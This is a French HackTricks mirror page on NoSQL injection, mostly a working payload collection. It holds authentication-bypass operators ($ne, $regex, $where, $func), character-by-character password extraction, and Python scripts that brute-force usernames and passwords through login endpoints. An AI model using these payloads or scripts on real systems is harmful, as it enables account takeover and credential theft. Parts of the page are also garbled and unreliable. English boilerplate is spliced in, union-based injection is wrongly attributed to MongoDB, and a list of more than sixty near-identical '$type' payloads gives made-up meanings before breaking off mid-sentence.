34 KiB
Injection NoSQL
![](/Mirrors/hacktricks/media/commit/98a048d4ec9dd8e8a708842df1a9ae4155497e33/.gitbook/assets/image%20%283%29%20%281%29.png)
Utilisez Trickest pour construire facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Les bases de données NoSQL offrent des restrictions de cohérence moins strictes que les bases de données SQL traditionnelles. En nécessitant moins de contraintes relationnelles et de vérifications de cohérence, les bases de données NoSQL offrent souvent des avantages en termes de performances et de mise à l'échelle. Cependant, ces bases de données sont toujours potentiellement vulnérables aux attaques par injection, même si elles n'utilisent pas la syntaxe SQL traditionnelle.
Exploitation
En PHP, vous pouvez envoyer un tableau en modifiant le paramètre envoyé de parameter=foo à parameter[arrName]=foo.
Les exploits sont basés sur l'ajout d'un opérateur :
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Contournement de l'authentification de base
Utilisation de la négation ($ne) ou de la supériorité ($gt)
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
NoSQL Injection
NoSQL databases, such as MongoDB, are becoming increasingly popular due to their flexibility and scalability. However, just like SQL databases, NoSQL databases are also vulnerable to injection attacks.
NoSQL injection occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions. This can happen when user input is not properly sanitized or validated before being used in a query.
Types of NoSQL Injection
There are several types of NoSQL injection attacks that can be performed against a MongoDB database:
-
Query Manipulation: In this type of attack, the attacker manipulates the query parameters to modify the behavior of the query. For example, the attacker may be able to bypass authentication by modifying the query to always return true.
-
Command Injection: In command injection attacks, the attacker is able to inject additional commands into the query. This can allow the attacker to execute arbitrary commands on the database server.
-
JavaScript Injection: MongoDB allows the use of JavaScript in queries. An attacker can exploit this feature by injecting malicious JavaScript code into the query, which can lead to unauthorized data retrieval or code execution.
Preventing NoSQL Injection
To prevent NoSQL injection attacks, it is important to follow secure coding practices:
-
Input Validation: Always validate and sanitize user input before using it in a query. This includes checking for special characters and ensuring that the input is of the expected type.
-
Parameterized Queries: Use parameterized queries or prepared statements to ensure that user input is properly escaped and treated as data, rather than executable code.
-
Least Privilege: Ensure that the database user account used by the application has the least privilege necessary to perform its intended functions. This can help limit the potential impact of an injection attack.
-
Secure Configuration: Follow secure configuration practices for your NoSQL database, such as disabling unnecessary features and enabling authentication and access controls.
By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access or manipulation.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00
Extraire les informations de longueur
L'injection NoSQL peut être utilisée pour extraire des informations sur la longueur des données stockées dans une base de données NoSQL. Cela peut être utile lors de l'exploration d'une application Web pour identifier les vulnérabilités potentielles.
Pour extraire les informations de longueur, vous pouvez utiliser l'opérateur $regex
avec une expression régulière qui correspond à la longueur souhaitée. Par exemple, pour extraire les informations sur la longueur d'une chaîne de caractères, vous pouvez utiliser l'expression régulière ^.{n}$
, où n
est la longueur souhaitée.
Voici un exemple de requête d'injection NoSQL pour extraire les informations de longueur d'une chaîne de caractères :
GET /api/users?username[$regex]=^.{10}$
Dans cet exemple, nous utilisons l'opérateur $regex
pour rechercher les utilisateurs dont le nom d'utilisateur a une longueur de 10 caractères. Si la requête renvoie une réponse réussie, cela signifie que la longueur du nom d'utilisateur est de 10 caractères.
Il est important de noter que l'injection NoSQL peut être complexe et nécessite une compréhension approfondie de la structure de la base de données cible. Il est recommandé de procéder avec prudence et de ne l'utiliser que dans le cadre d'un test d'intrusion légitime et autorisé.
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
Extraire les informations data
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
NoSQL Injection
NoSQL databases, such as MongoDB, are becoming increasingly popular due to their flexibility and scalability. However, just like SQL databases, NoSQL databases are also vulnerable to injection attacks.
NoSQL injection occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions. This can happen when user input is not properly sanitized or validated before being used in a query.
Types of NoSQL Injection
There are several types of NoSQL injection attacks that can be performed against a MongoDB database:
-
Boolean-based injection: This type of injection relies on the ability to manipulate the query in order to force a true or false condition. By exploiting this vulnerability, an attacker can retrieve sensitive information or perform unauthorized actions.
-
Time-based injection: In a time-based injection attack, an attacker is able to delay the response from the database in order to extract information. By carefully crafting the query, an attacker can determine if a condition is true or false based on the response time.
-
Union-based injection: Union-based injection involves injecting a query that combines the results of two or more queries into a single result set. This can be used to retrieve data from multiple collections or perform unauthorized actions.
Preventing NoSQL Injection
To prevent NoSQL injection attacks, it is important to follow secure coding practices:
-
Input validation: Always validate and sanitize user input before using it in a query. This includes checking for special characters and ensuring that the input matches the expected data type.
-
Parameterized queries: Use parameterized queries or prepared statements to separate the query logic from the user input. This helps prevent injection attacks by ensuring that user input is treated as data and not as part of the query.
-
Least privilege principle: Ensure that the database user account used by the application has the least privileges necessary to perform its intended functions. This helps limit the potential impact of an injection attack.
By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access or manipulation.
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
Exécution arbitraire de fonction PHP
En utilisant l'opérateur $func de la bibliothèque MongoLite (utilisée par défaut), il est possible d'exécuter une fonction arbitraire comme dans ce rapport.
"user":{"$func": "var_dump"}
Obtenir des informations à partir de différentes collections
Il est possible d'utiliser $lookup pour obtenir des informations à partir d'une collection différente. Dans l'exemple suivant, nous lisons à partir d'une collection différente appelée users
et obtenons les résultats de toutes les entrées avec un mot de passe correspondant à un caractère générique.
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
![](/Mirrors/hacktricks/media/commit/98a048d4ec9dd8e8a708842df1a9ae4155497e33/.gitbook/assets/image%20%283%29%20%281%29.png)
Utilisez Trickest pour construire et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Blind NoSQL
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
Charges MongoDB
Les injections NoSQL peuvent également être utilisées pour attaquer les bases de données MongoDB. Voici quelques exemples de charges utiles pour les injections NoSQL dans MongoDB :
1. Injection de comparaison
{ $ne: null }
Cette charge utile renvoie tous les documents où le champ spécifié n'est pas égal à null
.
2. Injection de comparaison avec une valeur
{ $gt: "" }
Cette charge utile renvoie tous les documents où le champ spécifié est supérieur à une chaîne vide.
3. Injection de comparaison avec une expression régulière
{ $regex: /./ }
Cette charge utile renvoie tous les documents où le champ spécifié correspond à n'importe quelle valeur.
4. Injection de comparaison avec une valeur spécifique
{ $where: "this.field == 'valeur'" }
Cette charge utile renvoie tous les documents où le champ spécifié est égal à une valeur spécifique.
5. Injection de comparaison avec une valeur de type différent
{ $type: 10 }
Cette charge utile renvoie tous les documents où le champ spécifié est de type différent de celui spécifié.
6. Injection de comparaison avec une valeur de type spécifique
{ $type: "string" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type spécifique.
7. Injection de comparaison avec une valeur de type inconnu
{ $type: "undefined" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type inconnu.
8. Injection de comparaison avec une valeur de type null
{ $type: "null" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type null
.
9. Injection de comparaison avec une valeur de type booléen
{ $type: "boolean" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type booléen.
10. Injection de comparaison avec une valeur de type tableau
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau.
11. Injection de comparaison avec une valeur de type objet
{ $type: "object" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type objet.
12. Injection de comparaison avec une valeur de type nombre
{ $type: "number" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type nombre.
13. Injection de comparaison avec une valeur de type chaîne de caractères
{ $type: "string" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type chaîne de caractères.
14. Injection de comparaison avec une valeur de type date
{ $type: "date" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type date.
15. Injection de comparaison avec une valeur de type binaire
{ $type: "binary" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type binaire.
16. Injection de comparaison avec une valeur de type code
{ $type: "code" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type code.
17. Injection de comparaison avec une valeur de type référence
{ $type: "dbref" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type référence.
18. Injection de comparaison avec une valeur de type symbole
{ $type: "symbol" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type symbole.
19. Injection de comparaison avec une valeur de type code JavaScript
{ $type: "javascript" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type code JavaScript.
20. Injection de comparaison avec une valeur de type code avec portée
{ $type: "javascriptWithScope" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type code avec portée.
21. Injection de comparaison avec une valeur de type entier 32 bits
{ $type: "int" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type entier 32 bits.
22. Injection de comparaison avec une valeur de type horodatage
{ $type: "timestamp" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type horodatage.
23. Injection de comparaison avec une valeur de type entier 64 bits
{ $type: "long" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type entier 64 bits.
24. Injection de comparaison avec une valeur de type décimal
{ $type: "decimal" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type décimal.
25. Injection de comparaison avec une valeur de type minKey
{ $type: "minKey" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type minKey.
26. Injection de comparaison avec une valeur de type maxKey
{ $type: "maxKey" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type maxKey.
27. Injection de comparaison avec une valeur de type tableau de codes
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de codes.
28. Injection de comparaison avec une valeur de type tableau de chaînes de caractères
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de chaînes de caractères.
29. Injection de comparaison avec une valeur de type tableau d'objets
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau d'objets.
30. Injection de comparaison avec une valeur de type tableau de nombres
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de nombres.
31. Injection de comparaison avec une valeur de type tableau de booléens
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de booléens.
32. Injection de comparaison avec une valeur de type tableau de dates
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de dates.
33. Injection de comparaison avec une valeur de type tableau de binaires
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de binaires.
34. Injection de comparaison avec une valeur de type tableau de codes JavaScript
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de codes JavaScript.
35. Injection de comparaison avec une valeur de type tableau de codes avec portée
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de codes avec portée.
36. Injection de comparaison avec une valeur de type tableau d'entiers 32 bits
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau d'entiers 32 bits.
37. Injection de comparaison avec une valeur de type tableau d'horodatages
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau d'horodatages.
38. Injection de comparaison avec une valeur de type tableau d'entiers 64 bits
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau d'entiers 64 bits.
39. Injection de comparaison avec une valeur de type tableau de décimaux
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de décimaux.
40. Injection de comparaison avec une valeur de type tableau de minKeys
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de minKeys.
41. Injection de comparaison avec une valeur de type tableau de maxKeys
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de maxKeys.
42. Injection de comparaison avec une valeur de type tableau de tableaux de codes
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de codes.
43. Injection de comparaison avec une valeur de type tableau de tableaux de chaînes de caractères
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de chaînes de caractères.
44. Injection de comparaison avec une valeur de type tableau de tableaux d'objets
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux d'objets.
45. Injection de comparaison avec une valeur de type tableau de tableaux de nombres
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de nombres.
46. Injection de comparaison avec une valeur de type tableau de tableaux de booléens
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de booléens.
47. Injection de comparaison avec une valeur de type tableau de tableaux de dates
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de dates.
48. Injection de comparaison avec une valeur de type tableau de tableaux de binaires
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de binaires.
49. Injection de comparaison avec une valeur de type tableau de tableaux de codes JavaScript
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de codes JavaScript.
50. Injection de comparaison avec une valeur de type tableau de tableaux de codes avec portée
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de codes avec portée.
51. Injection de comparaison avec une valeur de type tableau de tableaux d'entiers 32 bits
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux d'entiers 32 bits.
52. Injection de comparaison avec une valeur de type tableau de tableaux d'horodatages
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux d'horodatages.
53. Injection de comparaison avec une valeur de type tableau de tableaux d'entiers 64 bits
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux d'entiers 64 bits.
54. Injection de comparaison avec une valeur de type tableau de tableaux de décimaux
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de décimaux.
55. Injection de comparaison avec une valeur de type tableau de tableaux de minKeys
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de minKeys.
56. Injection de comparaison avec une valeur de type tableau de tableaux de maxKeys
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de maxKeys.
57. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux de codes
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux de codes.
58. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux de chaînes de caractères
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux de chaînes de caractères.
59. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux d'objets
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux d'objets.
60. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux de nombres
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux de nombres.
61. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux de booléens
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux de booléens.
62. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux de dates
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux de dates.
63. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux de binaires
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux de binaires.
64. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux de codes JavaScript
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux de codes JavaScript.
65. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux de codes avec portée
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux de codes avec portée.
66. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux d'entiers 32 bits
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux d'entiers 32 bits.
67. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux d'horodatages
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux d'horodatages.
68. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux d'entiers 64 bits
{ $type: "array" }
Cette charge utile renvoie tous les documents où le champ spécifié est de type tableau de tableaux de tableaux d'entiers 64 bits.
69. Injection de comparaison avec une valeur de type tableau de tableaux de tableaux de décimaux
{ $type: "array" }
Cette charge utile renvoie tous les
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
Outils
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
Force brute des noms d'utilisateur et des mots de passe à partir de la connexion POST
Il s'agit d'un script simple que vous pouvez modifier, mais les outils précédents peuvent également effectuer cette tâche.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
get_password(u)
Références
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
![](/Mirrors/hacktricks/media/commit/98a048d4ec9dd8e8a708842df1a9ae4155497e33/.gitbook/assets/image%20%283%29%20%281%29.png)
Utilisez Trickest pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}